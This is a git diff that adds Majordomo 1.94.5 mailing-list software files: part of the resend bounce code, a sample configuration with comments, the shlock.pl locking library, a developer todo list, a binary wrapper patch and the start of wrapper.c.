$MAX_TOTAL_HEADER_LENGTH) && ! defined($approved)) { + &bounce("Header field too long (>$MAX_TOTAL_HEADER_LENGTH)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local(*BOUNCE); + local($reason) = shift; + local($_); + + print STDERR "$0: bounce enter\n" if $DEBUG; + + &send_bounce(BOUNCE, + (( $config_opts{$opt_l, 'moderator'} ne "") ? + $config_opts{$opt_l, 'moderator'} : "$opt_l-approval\@$whereami"), + "BOUNCE $opt_l\@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + + print STDERR "$0: bounce exiting\n" if $DEBUG; + + exit(0); +} + +sub send_bounce { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + local($isParent); + local($mailcmd); + + if (defined $bounce_mailer) { + # The eval expands embedded variables like $sender + $mailcmd = eval qq/"$bounce_mailer"/; + } + else { + # Painful, but we have to provide some kind of backwards + # compatibility and this is what 1.93 used + $mailcmd = "/usr/lib/sendmail -f$sender -t"; + } + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> $mailcmd\n"; + } else { + if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; + } else { + &abort("Failed to fork prior to mailer exec"); + } + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/update/scripts/packages/majordomo-1.94.5/sample.cf b/update/scripts/packages/majordomo-1.94.5/sample.cf new file mode 100644 index 0000000..1c6368e --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/sample.cf @@ -0,0 +1,316 @@ +# +# A sample configuration file for majordomo. You must read through this and +# edit it accordingly! +# + + +# $whereami -- What machine am I running on? +# +$whereami = "example.com"; + +# $whoami -- Who do users send requests to me as? +# +$whoami = "Majordomo\@$whereami"; + +# $whoami_owner -- Who is the owner of the above, in case of problems? +# +$whoami_owner = "Majordomo-Owner\@$whereami"; + +# $homedir -- Where can I find my extra .pl files, like majordomo.pl? +# the environment variable HOME is set by the wrapper +# +if ( defined $ENV{"HOME"}) { + $homedir = $ENV{"HOME"}; +} else { + $homedir = "/etc/virtual/majordomo"; +} + +# $listdir -- Where are the mailing lists? +# +$listdir = "$homedir/lists"; + +# $digest_work_dir -- the parent directory for digest's queue area +# Each list must have a subdirectory under this directory in order for +# digest to work. E.G. The bblisa list would use: +# /usr/local/mail/digest/bblisa +# as its directory. +# +$digest_work_dir = "/usr/local/mail/digest"; + +# $log -- Where do I write my log? +# +$log = "$homedir/Log"; + +# $sendmail_command -- Pathname to the sendmail program +# usually /usr/lib/sendmail, but some newer BSD systems +# seem to prefer /usr/sbin/sendmail +# +$sendmail_command = "/usr/lib/sendmail"; +# $sendmail_command = "/usr/sbin/sendmail"; + +# $mailer -- What program and args do I use to send mail to the list? +# $bounce_mailer -- What is used to send mail anywhere else? +# The variables $to, $from, $subject, and $sender can be interpolated into +# this command line. Note, however, that the $to, $from, and $subject +# variables may be provided by the person sending mail, and much mischief +# can be had by playing with this variable. It is perfectly safe to use +# $sender, but the others are insecure. +# +# Sendmail option -oi: Do not take a . on a line by itself as the message +# terminator. +# Sendmail option -oee: Force sendmail to exit with a zero exit status if +# if it's not going to give useful information. +# +$mailer = "$sendmail_command -oi -oee -f\$sender"; +$bounce_mailer = "$sendmail_command -oi -oee -f\$sender -t"; + +# You can special case the mailer used to deliver outbound mail as follows: +# +# To use TLB and use no outgoing alias: +# if ($main'program_name eq 'mj_resend' && $opt_l eq 'test-list') { +# $mailer = "/usr/local/majordomo/tlb /usr/local/lists/${opt_l}.tlb"; +# } +# +# To use a different Sendmail queue for this list's mail: +# if ($main'program_name eq 'mj_resend' && $opt_l eq 'test-list') { +# $mailer = "$sendmail_command -oQ /var/spool/listq -f\$sender"; +# } + +# You can force Majordomo to delay any processing if the system load is too +# high by uncommenting the following lines. THIS ONLY WORKS if your "uptime" +# command (usually found in /usr/bin/uptime or /usr/bsd/uptime) +# returns a string like: +# 5:23pm up 5:51, 9 users, load average: 0.19, 0.25, 0.33 +# +#$max_loadavg = 10; # Choose the maximum allowed load +# +#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime +#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here. +# +#($avg_1_minute, $avg_5_minutes, $avg_15_minutes) = +# $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/; +# +#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL +# + +# Set the default subscribe policy for new lists here. +# If not defined, defaults to "open", but in today's increasingly +# imbecile Internet, "open+confirm" or "auto+confirm" is a wiser +# choice for publicly available Majordomo servers. +# +$config'default_subscribe_policy = "open+confirm"; + +# +# Configure X400 parsing here. This is functional, but not well tested +# and rather a hack. +# By default all addresses that look x400-ish will be checked for a +# @ sign (meaning that it's headed to an smtp->x400 gateway, as well +# as the 'c=' and 'a[dm]=' parts, which mean something as well. +# +# If you will be receiving x400 style return addresses that do not have +# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1. +# Otherwise, leave $no_x400 at 0. +# +$no_x400at = 0; +# +# If you will be receiving x400 addresses without the c= or a[dm]= parts +# set the $no_true_x400 variable to 1. This will disable checking for +# "c=" and "a[dm]=" pieces. +# +$no_true_x400 = 0; + + +#-------------------------------------------------------------------- +# Stuff below here isn't commonly changed.... +#-------------------------------------------------------------------- +# +# Majordomo will look for "get" and "index" files related to $list in +# directory "$filedir/$list$filedir_suffix", so set $filedir and +# $filedir_suffix appropriately. For instance, to look in +# /usr/local/mail/files/$list, use: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; # empty string +# or to look in $listdir/$list.archive, use: +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; + +$filedir = "$listdir"; +$filedir_suffix = ".archive"; + +# What command should I use to process an "index" request? +# +$index_command = "/bin/ls -lRL"; + +# If you want to use FTPMAIL, rather than local access, for file transfer +# and access, define the following: +# $ftpmail_address = "ftpmail\@decwrl.dec.com"; +# $ftpmail_location = "FTP.$whereami"; + +# if you want the subject of the request to be included as part of the +# subject of the reply (useful when automatically testing, or submitting +# multiple command sets), set $return_subject to 1. +# +$return_subject = 1; + +# If you are using majordomo at the -request address, set the +# following variable to 1. This affects the welcome message that is +# sent to a new subscriber as well as the help text that is generated. +# +$majordomo_request = 0; + +# If you have lists that have who turned off, but still allow which +# requests to work for subscribed members, and you don't want to have +# "which @" to act like a who, the variable $max_which_hits sets the +# number of hits that are allowed using which before an error is returned. +# Arguably this should be a per list settable number. +# +$max_which_hits = 0; + +# Set the umask for the process. Used to set default file status for +# config file. +# +umask(007); +$config_umask = 007; + +# don't change this. It checks to make sure that you have a new enough +# version of perl to run majordomo. It is in here because this file is +# used by almost all of the majordomo programs. +# +die "Perl version $] too old\n" if ($] < 4.019); + +# the safe locations for archive directories +# None of the parameters that use safedirs are actually used, so +# @safedirs is a placeholder for future functionality. +# Just ignore it for version 1.90 through 1.94. +# +@safedirs = ( ); + +# Directory where resend temporarily puts its rewritten output message. +# For the paranoid, this could be changed to a directory that only +# majordomo has r/w permission to. +# Uses the environment variable TMPDIR, since that's pretty common +# +$TMPDIR = $ENV{'TMPDIR'} || "/usr/tmp"; + +# Tune how long set_lock tries to obtain a lock before giving up. Each +# attempt waits 1 to 10 seconds before trying again and waittime is +# the total minimum time spent trying. This defaults to 600 seconds (5 +# minutes), which translates to no less then 60 nor more than 600 tries. +# +# $shlock'waittime = 1200; + +# tune the cookie for subscribe_policy=confirm. Normally this is +# set to $homedir. *Don't* make this something like rand(400), +# the key isn't saved between sessions. +# +# $cookie_seed = "Harry Truman, Doris Day, Red China, Johnnie Ray" . +# " South Pacific, Walter Winchell, Joe DiMaggio"; + +# The maximum character length of the header lines for resend +# +$MAX_HEADER_LINE_LENGTH = 128; + +# The maximum character length of the _entire_ header for resend +# +$MAX_TOTAL_HEADER_LENGTH = 1024; + +# List of perl regular expressions that, if found in the headers of a message, +# will cause the message to be bounced to the list approver. +# Put each regular expression on a separate line before the "END" mark, with +# no trailing ";" +# For example: +# $global_taboo_headers = <<'END'; +# /^from:.*trouble\@hassle\.net/i +# /^subject:.*non-delivery notice/i +# END +# NOTE! Using ' instead of " in the 'END' is VERY IMPORTANT!!! +# + +# Administrative checks. These used to be buried in the resend code +# +$admin_headers = <<'END'; +/^subject:\s*subscribe\b/i +/^subject:\s*unsubscribe\b/i +/^subject:\s*uns\w*b/i +/^subject:\s*.*un-sub/i +/^subject:\s*help\b/i +/^subject:\s.*\bchange\b.*\baddress\b/i +/^subject:\s*request\b(.*\b)?addition\b/i +/^subject:\s*cancel\b/i +END + +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administrivia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +$admin_body = <<'END'; +/\bcancel\b/i +/\badd me\b/i +/\bdelete me\b/i +/\bremove\s+me\b/i +/\bchange\b.*\baddress\b/ +/\bsubscribe\b/i +/^sub\b/i +/\bunsubscribe\b/i +/^unsub\b/i +/\buns\w*b/i +/^\s*help\s*$/i +/^\s*info\s*$/i +/^\s*info\s+\S+\s*$/i +/^\s*lists\s*$/i +/^\s*which\s*$/i +/^\s*which\s+\S+\s*$/i +/^\s*index\s*$/i +/^\s*index\s+\S+\s*$/i +/^\s*who\s*$/i +/^\s*who\s+\S+\s*$/i +/^\s*get\s+\S+\s*$/i +/^\s*get\s+\S+\s+\S+\s*$/i +/^\s*approve\b/i +/^\s*passwd\b/i +/^\s*newinfo\b/i +/^\s*config\b/i +/^\s*newconfig\b/i +/^\s*writeconfig\b/i +/^\s*mkdigest\b/i +END + +# taboo headers to catch +# +$global_taboo_headers = <<'END'; +/^subject: ndn: /i +/^subject:\s*RCPT:/i +/^subject:\s*Delivery Confirmation\b/i +/^subject:\s*NON-DELIVERY of:/i +/^subject:\s*Undeliverable Message\b/i +/^subject:\s*Receipt Confirmation\b/i +/^subject:\s*Failed mail\b/i +/^subject:\s*Returned mail\b/i +/^subject:\s*unable to deliver mail\b/i +/^subject:\s.*\baway from my mail\b/i +/^subject:\s*Autoreply/i +END + +# Taboo body contents to catch and forward to the approval address +# +# For example: +# $global_taboo_body = <<'END'; +# /taboo topic/i +# /another taboo/i +# END +# NOTE! Using ' instead of " in the next line is VERY IMPORTANT!!! +# +$global_taboo_body = <<'END'; +END + +# Majordomo will not send replies to addresses which match this. +# The match is done case-insensitively. +$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@'; + +1; +# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.34 1997/08/27 15:00:31 cwilson Exp $ diff --git a/update/scripts/packages/majordomo-1.94.5/shlock.pl b/update/scripts/packages/majordomo-1.94.5/shlock.pl new file mode 100644 index 0000000..1b7ea82 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/shlock.pl @@ -0,0 +1,312 @@ +# PERL implementation of Erik E. Fair's 'shlock' (from the NNTP distribution) +# Ported by Brent Chapman + +# Taken from shlock.pl and majordomo.pl in Majordomo distribution +# Merged into package by Bill Houle + +package shlock; +require 'majordomo.pl'; # For bitch() and abort() + +# These can be predefined elsewhere, e.g. majordomo.cf +$waittime = 600 unless $waittime; +$shlock_debug = 0 unless $shlock_debug; +$warncount = 20 unless $warncount; + +sub alert { + &main'bitch(@_); + &main'abort("shlock: too many warnings") unless --$warncount; +} + +$EPERM = 1; +$ESRCH = 3; +$EEXIST = 17; + +# Lock a process via lockfile. +# +sub main'shlock { + local($file) = shift; + local($tmp); + local($retcode) = 0; + + print STDERR "trying lock '$file' for pid $$\n" if $shlock_debug; + return(undef) unless ($tmp = &extant_file($file)); + + { # redo-controlled loop + unless (link($tmp, $file)) { + if ($! == $EEXIST) { + print STDERR "lock '$file' already exists\n" if $shlock_debug; + if (&check_lock($file)) { + print STDERR "extant lock is valid\n" if $shlock_debug; + } else { + print STDERR "lock is invalid; removing\n" if $shlock_debug; + unlink($file); # no message because it might be gone by now + redo; + } + } else { + &alert("shlock: link('$tmp', '$file'): $!"); + } + } else { + print STDERR "got lock '$file'\n" if $shlock_debug; + $retcode = 1; + } + } + + unlink($tmp) || &alert("shlock: unlink('$file'): $!"); + return($retcode); +} + +# Create a lock file (with retry). +# +sub main'set_lock { + local($lockfile) = @_; + local($slept) = 0; + + while ($slept < $waittime) { + return 1 if &main'shlock("$lockfile"); + + # didn't get the lock; wait 1-10 seconds and try again. + $slept += sleep(int(rand(9) + 1)); + } + # if we got this far, we ran out of tries on the lock. + return undef; +} + +sub main'free_lock { + unlink $_[0]; +} + +# open a file locked for exclusive access; we remember the name of the lock +# file, so that we can delete it when we close the file +# +sub main'lopen { + local($FH) = shift; + local($mode) = shift; + local($file) = shift; + # $fm is what will actually get passed to open() + local($fm) = "$mode$file"; + local($status); + + # create name for lock file + local($lockfile) = $file; + $lockfile =~ s,([^/]*)$,L.$1,; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + return undef unless &main'set_lock("$lockfile"); + + # Got the lock; now try to open the file + if ($status = open($FH, $fm)) { + # File successfully opened; remember the lock file for deletion + $lock_files[fileno($FH)] = "$lockfile"; + } else { + # File wasn't successfully opened; delete the lock + &main'free_lock($lockfile); + } + # return the success or failure of the open + return $status; +} + +# reopen a file already opened and locked (probably to change read/write mode). +# We remember the name of the lock file, so that we can delete it when +# we close the file +# +sub main'lreopen { + local($FH) = shift; + local($mode) = shift; + local($file) = shift; + # $fm is what will actually get passed to open() + local($fm) = "$mode$file"; + + # create name for lock file + local($lockfile) = $file; + $lockfile =~ s,([^/]*)$,L.$1,; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + # close the old file handle, and delete the lock reference + if ($lock_files[fileno($FH)]) { + undef($lock_files[fileno($FH)]); + close($FH); + } else { + # the file wasn't already locked + # unlink("$lockfile"); ### Do we really want to do this? + return(undef); + } + + # We've already got the lock; now try to open the file + $status = open($FH, $fm); + if (defined($status)) { + # File successfully opened; remember the lock file for deletion + $lock_files[fileno($FH)] = "$lockfile"; + } else { + # File wasn't successfully opened; delete the lock + unlink("$lockfile"); + } + # return the success or failure of the open + return($status); +} + + +# Close a locked file, deleting the corresponding .lock file. +# +sub main'lclose { + local($FH) = shift; + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH =~ s/^[^':]+$/$package'$&/; + + local($lock) = $lock_files[fileno($FH)]; + close($FH); + unlink($lock); +} + +# Open a temp file. Ensure it is temporary by checking for other links, etc. +# +sub main'open_temp { + local($FH_name, $filename) = @_; + local($inode1, $inode2, $dev1, $dev2) = (); + + # force unqualified filehandles into callers' package + local($package) = caller; + $FH_name =~ s/^[^':]+$/$package'$&/; + + if ( -e $filename ) { + &alert("Failed to open temp file '$filename', it exists"); + return(undef); + } + + unless (open($FH_name, ">> $filename")) { + local($tempdir) = ($filename =~ m|(.*)/|) ? $1 : "."; + if (! -e $tempdir) { + &main'abort("shlock: '$tempdir' does not exist"); + } + elsif (! -d _) { + &main'abort("shlock: '$tempdir' is not a directory\n"); + } + elsif (! -w _) { + &main'abort("shlock: '$tempdir' is not writable by UID $> GID", + (split(" ", $) ))[0], "\n"); + } + else { + &alert("open of temp file '$filename' failed: $!"); + } + return(undef); + } + + if ( -l $filename ) { + &alert("Temp file '$filename' is a symbolic link after opening"); + return(undef); + } + + if ( (stat(_))[3] != 1 ) { + &alert("'$filename' has more than one link after opening"); + return(undef); + } + + ($dev1, $inode1) = (lstat(_))[0..1]; + local(*FH) = $FH_name; + ($dev2, $inode2) = (stat(FH))[0..1]; + + if ($inode1 != $inode2) { + &alert("Inode for filename does not match filehandle! Inode1=$inode1 Inode2=$inode2"); + return(undef); + } + + if ($dev1 != $dev2) { + &alert("Device for filename does not match filehandle! Dev1=$dev1 Dev2=$dev2"); + return(undef); + } + + if ( (stat(_))[3] != 1 ) { + &alert("filehandle has more than one link after opening"); + return(undef); + } + return(1); +} + +sub is_process { + local($pid) = shift; + + print STDERR "process $pid is " if $shlock_debug; + if ($pid <= 0) { + print STDERR "invalid\n" if $shlock_debug; + return(0); + } + if (kill(0, $pid) <= 0) { + if ($! == $ESRCH) + { print STDERR "dead\n" if $shlock_debug; return 0; } + elsif ($! == $EPERM) + { print STDERR "alive\n" if $shlock_debug; return 1; } + else + { print STDERR "state unknown: $!\n" if $shlock_debug; return 1; } + } + print "alive\n" if $shlock_debug; + return 1; +} + +sub check_lock { + local($file) = shift; + local(*FILE, $pid, $buf); + + print STDERR "checking extant lock '$file'\n" if $shlock_debug; + unless (open(FILE, "$file")) { + &alert("shlock: open('$file'): $!") if $shlock_debug; + return 1; + } + + $pid = int($buf = ); + + if ($pid <= 0) { + close(FILE); + print STDERR "lock file format error\n" if $shlock_debug; + return 0; + } + close(FILE); + return(&is_process($pid)); +} + +sub extant_file { + local($file) = shift; + local(*FILE); + local($tempname); + + $tempname = $file; + if ($tempname =~ /\//) { + $tempname =~ s,/[^\/]*$,/,; + $tempname .= "shlock.$$"; + } else { + $tempname = "shlock.$$"; + } + print STDERR "temporary filename '$tempname'\n" if $shlock_debug; + + { # redo-controlled loop + if ( -e $tempname ) { + print STDERR "file '$tempname' exists\n" if $shlock_debug; + unlink($tempname); # no message because it might be gone by now. + redo; + } + elsif (! &main'open_temp(FILE, $tempname)) { + print STDERR "can't create temporary file '$tempname': $!" + if $shlock_debug; + return(undef); + } + } + + unless (print FILE "$$\n") { + &alert("shlock failed: write('$tempname', '$$'): $!"); + close(FILE); + unlink($tempname) || &alert("shlock: unlink('$tempname'): $!"); + return(undef); + } + close(FILE); + + sleep(15) if $shlock_debug; # give me a chance to look at the lock file + return($tempname); +} + +1; diff --git a/update/scripts/packages/majordomo-1.94.5/todo.local b/update/scripts/packages/majordomo-1.94.5/todo.local new file mode 100644 index 0000000..a0e49d0 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/todo.local @@ -0,0 +1,100 @@ +Partial: add code to override the archive directory on a per list basis. + + config file recognizes keyword archive_dir, majordomo get/index + doesn't use it yet. + +Partial: add more keywords: + + DONE: comments (array)- allow commentary/rcs log info + + process - time interval - if in time interval, process + requests, otherwise exit status 75 + file-process - see process, for get/put + resend-process - see process + + load - three floats (1, 5, 15 minute load average. 0.0 means + doesn't matter). If + uptime load > any one of these, then exit with code 75 to + have sendmail requeue the job and try later. + + file-times - a time/day spec for times that majordomo should process + get/index and other specs. Exit w/ code 75 if wrong time. + + resend-times - a time/day spec for when resend shouldn't run. + Exit w/ code 75 if wrong time. + + exclude-user - opposite of -I flag to exclude ability of people + to post to a mailing list. + +NOT: analyze code to make sure all areas that require locks are in place + +NOT: Analyze code to replace all mailer invocation with code that can be + set in the majordomo.cf file. This includes normalizing the + variable for the -f argument to sendmail, and the sendmail location etc. + +NOT: detect error condition (e.g. out of disk space) and deal with them + (e.g. check close return values) + +NOT: clean up messages that are put into the config file. Diction and + parallelism needs work. + +NOT: vett any and all \001's that may be in the config file. + +NOT: create an addin that uses the config file stuff. + +NOT: after alan's stuff add pre/post message hook to the code. + +NOT: add code to support incremental config file changes. + +NOT: Add support for delayed reply REPLY handling. + Remove sendmail open from majordomo, add send_reply command + have all prints to reply be pushes onto $Reply. + + First shot screwed up something with the filehandles. Need to + try again. It may be perl 4.019 rearing its ugly head. + +partial: add ability to add arbitrary headers to message + + config file elements in place as type string array. This should + probably be specialized so that only known or X- headers can + be specified. Also the code in resend has to be modified to + remove duplicate headers, and to allow override headers. + +DONE (12/8/93): add ability to add reply to header that has sender's + from address + + Just specify $SENDER as the value of the reply_to string. + Actually the entire set of $ elements recognized + by &config'substitute_values is recognized. + +DONE (11/18/93): fix bug with mixing pipleines that allows portions on + incoming data stream into config file due to fork. When + running write_config (formally mk_default_config). + +DONE: add configure get password + +DONE: add functions absolute_dir and absolute_file to look for / forms of + paths + +DONE: add support for enumerated keywords + +DONE: Add keyword subscribe_policy to have values open, closed, or auto + config file recognizes it, majordomo uses it. + +DONE: add support for array keyword values + Have added code to recognize key << END, and read it into a \001 + seperated stringified array. + + the only array values currently are: advertize/noadvertize + and majordomo can deal with the arrays. + + Also comments is an array, but is only for internal config file use. + +DONE: fix do_approve so it loads the config file when it gets called + this will allow config file password to be used for approves. + +DONE: fix keywords so they all use _ or - as a seperator character. + chose _ + +DONE: enhance resend so that trailer text can be added to the code. + keyword message_footer diff --git a/update/scripts/packages/majordomo-1.94.5/wrapper b/update/scripts/packages/majordomo-1.94.5/wrapper new file mode 100644 index 0000000000000000000000000000000000000000..a2712c872b262acb9e94e80484e7ff3c7bf4cd6d GIT binary patch literal 23328 zcmeHPdvFv-dhcB!5ExdH%^TYq5_ADOuH`6E}UI>$vNLPTdnQYja{T-~{1Cy}pgN4ju1ocQe+ z<@>t(+nt%6xlpMj7suP6{rdZTkNNsBJv}`${nc+W9NG~ zE3rnllm*$H><+dVkVWtp$j@FGf?yB3h!=Fj{xAAhLf7ER|)W<`?Y9&_~^Gf(b4CUSJ zzq9m8`SSbw*X{nt-_>_4dHl~lilOc*_{+DOI52mC`0jt5psoR2ajF66)?%3bK46Li z?gz|C|9}gga=`~(@UOYx_q*W7UGR&5EAVGe*dLtY-|2!Malyahg8!NezQzT|Se)YN zcfnr=N*H78O3h6i)C~p8;>!4G;XlWNIIT023W>O zC!@n7Y(!6|Q)y%qdXf!C5{Xol4eG`q7-WnXNRbofdi1!CoQ}eQ6Y01iSd@Z;=unys zkbB`l(=ZAxV?@%1HXMm3SzAYY^L}lcf17_N)7pCvYH$efmofBo@4@|vR8sGa982g- z(*}oANolDGRYyfUn>_Gm{%7Y&11reG|G_xMYm2e$`uI}x@s#9eYx;Q(#}GPC5tuXK zOSp#kxo*OjneY!y_-!Vf+6l*QJbx*zRr+}reT!3ENE8!ZCLsR1*@V;Bhk|+&ZoWP= znsD>@7&PJez5{+#6Al%WPhBP)`y{0!CVV-8K>JPj3KKqL!hI%u#DrIx@KF;^ZHMA9 z6D}`#-0HLmH=j3WO*oFdl>V*q&X3jcYZdB5`5S8#rhaYO@Ge|c$G=}O!&Me`{siEK z+Bf01vL*;Qxd{9huEO*em@^B0iE zCYwLY`9DP-n`(ZH^M8aqc8~cH&VL7aY_j=&&OePjHr0F==YJb{?2_|A&Od=XHraeV z=O0BLn`&O+{3+zIiRP;~pGF>=W}b2W%gAGs%wNB;uz>Z|@U!;ZD-Wr;pQz(+UhnE{ zzdWt@f=s=9>ANeCTwc8l>S@&zs}=U{S=65y@K@G61|DE~p-%372OO%Ci&ejLVYaen3>9Z21^r80e<#+Hy5)v?=|-8FyRKfE+oyV7QeU}YtON&j(m}<- z>_BBrOTiwGKeqSxz?Nli>r-=Y&7Fc$y;ME{i0A0c*_nYtaM-@6|IbgLVh?nS#@r*X ztGVn|HP?4#{E^o^U)`!sgs-X-RdC2=@Gx}+3!c0D0){*ng!;J{#N0EGl*yR0z9(J$P!ja4`3ye_vRDVt&z08Bd3)eNy>3pBUyS=5}#C=$Vr$^tbTr1uVCkdl`Gl z)1UAod;@(<^vzCPHy?fyggB*QbAKz;67o>n^M_hn1&4Y|NDqPZf(o5=ssm8)E(+Zy zr1dC`q4cO(xg|}U-BG2mK6SDVX-~(Nw{T3Ks{w2E(x+ucO~Y$)Jn6`N+>v{~CHM2t z!phgx@fnZ0`|qL72g7>nd^welrG`_iE7Ys*4IGOnn*!NPx{%36kFg##+|j{>fy@v%JQzCA+1=84 zuv6RL>f*29*&iLC82WlbZQ&-RHlvKBQ-kTqu=1rnk@Vnwir?=)x{TFkniM|eYf|FL zj2_LVbtRjL4C)qSnT#g~l@oDe2qS}er_$HnqC}E0rLDcipPxD@kPb#3)|IH9Hekl67()?5IgyTx zph-M~VH+?_)nkg7*WS&2#0Qj2>Td9Y_Gvwu8Xkez#o@X-d)kjE1Bu9Brf?kTu}SGo zpTxk7l%kL7QLH#o>?Vbm1O2tcW6H@?R*C5Y@uaSFg}XbHXetedF%l;sAc#@tK@Y$& z_bp>+gZ%)*t<6AG2w>w|0N&yj#N6gWu#9;&l-;`rBEgBk=?@kb#(?Q!ossa*TP7B1?Xv@RdNzZa~#j9Zsr-S@@!bXq~a{da1M1l{566PyehGlB~^&k z!(T68Gfs|1ggRar6bVltNOY(>|1-LEbLPz7lnPBpDb5>^^Y%BeU0Nw+I+#JuQBAS z5BWAX`;=zi+Gbx>v#)~3{X;Mx0Y4NYx+|qp4U}r2R0E|NDAhoz21+$hs)14slxm<< z12ym##%B7oM8lmUd_5gOt z_HLE*0Z9iWJud0vl73s#XC!@I(w8Ltk)&@+`o5%#Wxrc3=@%rm$K%FtQuPQtOKVaB znN&6%)iZ(U@l0ADNo5MlL;<sO^Kd} zCo-v|5*{5<@aA78Tp8)NtI;24Fc+*G5wC1X)iP z`&xV}VEJco!j~vpT8|{+gGms(wkf@5L)6|*r8dR>b62TN9nR^}c?u^MKi}>uou{GF z*em+N#?sjPIli9um*z-vOx*gJnI59hreF$c87PwlG9_QiQxLDzYHV7I}!s?)rh z=3YcgbFk998oG)+k2aN;?v+aSN~QbX(*3V(4dHXYrhyA4mg{MxA^+VFtx-AYkc_C4 z4qfMoI_WUEhPYZ%CmmX+u9xd|PC6qrr&t!mQQvi~24C;RR4aXbmgWh#-t|AQ{>IM% z+nU);t<|96|K|Fe%iNO3Pwl!&w(HHzE$ueH$Upg|eseSa?Kb}(=dPdkK3Qthtv9>Q z|Ct$QN^M$dQ?U-Y>HqZexX=68>ogCf>od{+st(OZH~fNmDa}WB-o$g{GU!l^-XP4F ztf>sX!RYk{tsrn^@Xv6>7vVu-g~g>FJ<)p zgcVL>q}jv0nt zvYwsYc;14+(kpzw{|)KDHr_f zF8H%9_=^&^m-kJH(|sJ3*Rx2(Z^sph+v{g9;7;|d0`7&kVrcDx{2!3``K3XEI6W%y zSsR`K+ynb4oZi^a^{_i(dX(eEE#z*DoFqe+al!{Qto9*RW}&pSw6L z9l4cvp6ge$Kd%l-%>r@q{{iUZ&Jp%;xB?a(Jh1zSeH^alixI`~Z{m3Ib>SZFr+9om z2>7kgF8D<_CTK^JhT63hr(E=V;l!ze^XROtUH%yLVZ5So6{?G; z8tI?Ly@14LT>QTZIQqA@`RAu%0;SXy7LF!}~4ph4qM|k&DdFH^H$LhlgbqfVmNmYH1y|!!eiFid)NVm08Pa zl@-^6Rqjw9Rt4^$xL&ME#r0#Ab0+{<>(HuWt1qjNJFwQ97E6dqix@g?-h-7m64ym2 zg@$rd!+xYE2I_b>OZ5~C04(Zz1q=gm(zUjMRo_kKQ1>>&;(9MA6xVq{=3L(exvj1X z0;hTw8!JUKSy3TFb)_g%`1E%jp(!sqPqqP8ix=3=ykVIX5#8N=|> zGVIutf!&&7DQz&3Iu=Q2F(Z}EXp!tF!;kP2uw7Klf6w;%?aoRX9z%%3-Dmm+6}u9XyHRG8f+Y8wTdyVkTz`gwZSC*9z+wHa@dF*18Tt57f6RF$KSYzD_s&k1@MQO+v|+TpyURVS^u$Y95x_?ZP@(C4dI6b z{@BSR_!HDf3(0Xkox$%2xSC`%kim5>f(9}-l7LG$Zyvv)k3ybza(_C-JFQNPZ8U}Gn06%_y0O1T;kNIJw7>2W7#KjBaj~GTeek^Oi=%JNVJYf`)<jM<*nB@G$S zCQ_8tZr=j<`|!;a#edElRVsW-Mb$a7=TeoPh^!@=j;cKb7c zp^8*5tm{fe`d$!Jc*0|uQw|ujJ+1#L(w_EvAshZa3NS>!X|t#Mt$O+4-g~wKk{$Vb z+GbDd$(wP9I7s;1-<)jj*m)3Q{8ayR|Jf+*`$-_3Q2j}kJ!`Y4^=aB4b`L2^YCrz- zHhWsfepME9&Sq~v{xrxjR6GZGqV;RJAFf@Wc%pv;M)=+d+0%MV#ZB733bxpH$ez}1 zXg}Vovj0*4qT^CKz5%wVLiV)IJ}Y0|Q9x!+WKZ;M5Ss0o(l68%LCy)1|0O%3KL?4~ zp4L6iE5hXac}tOza2|aRa_EcVAKTc^WwDK%Bm6v`1LlN?CWee>S7{V z1{oZ`Dbe$SZ*COGyLXU8P<#JFKejH;6;JOI`bThZhJ@E4{7#SRjmBR*O{wgV&8OJ| cBKsY4Z~#%574obp8x;= literal 0 HcmV?d00001 diff --git a/update/scripts/packages/majordomo-1.94.5/wrapper.c b/update/scripts/packages/majordomo-1.94.5/wrapper.c new file mode 100644 index 0000000..9cc5e3b --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/wrapper.c @@ -0,0 +1,157 @@ +/* + * $Source: /sources/cvsrepos/majordomo/wrapper.c,v $ + * $Revision: 1.8 $ + * $Date: 1997/08/27 15:01:12 $ + * $Author: cwilson $ + * $State: Exp $ + * + * $Locker: $ + * + */ + +#ifndef lint +static char rcs_header[] = "$Header: /sources/cvsrepos/majordomo/wrapper.c,v 1.8 1997/08/27 15:01:12 cwilson Exp $"; +#endif + +#include +#include + +#if defined(sun) && defined(sparc) +#include +#endif + + +#ifndef STRCHR +# include +# define STRCHR(s,c) strchr(s,c) +#endif + +#ifndef BIN +# define BIN "/usr/local/mail/majordomo" +#endif + +#ifndef PATH +# define PATH "PATH=/bin:/usr/bin:/usr/ucb" +#endif + +#ifndef HOME +# define HOME "HOME=/usr/local/mail/majordomo" +#endif + +#ifndef SHELL +# define SHELL 